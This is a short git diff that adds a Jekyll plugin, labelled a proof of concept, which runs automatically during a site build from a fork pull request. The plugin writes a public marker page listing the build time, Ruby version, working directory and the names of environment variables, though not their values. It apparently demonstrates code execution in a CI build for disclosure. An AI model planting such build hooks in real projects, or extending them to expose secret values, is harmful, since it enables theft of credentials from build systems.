diff --git a/_plugins/marker.rb b/_plugins/marker.rb
new file mode 100644
index 0000000000..688e44f8d2
--- /dev/null
+++ b/_plugins/marker.rb
@@ -0,0 +1,19 @@
+Jekyll::Hooks.register :site, :post_write do |site|
+ marker_path = File.join(site.dest, "marker.html")
+ File.write(marker_path, <<~HTML)
+
+
+ POC: Jekyll Plugin Code Execution
+ this file was generated by a custom Jekyll plugin from a fork PR.
+ build time: #{Time.now.utc}
+ Ruby version: #{RUBY_VERSION}
+ working directory: #{Dir.pwd}
+ environment variables available (names only, no values):
+
+ #{ENV.keys.sort.map { |k| "- #{k}
" }.join("\n ")}
+
+
+
+ HTML
+ Jekyll.logger.info "POC:", "marker file written to #{marker_path}"
+end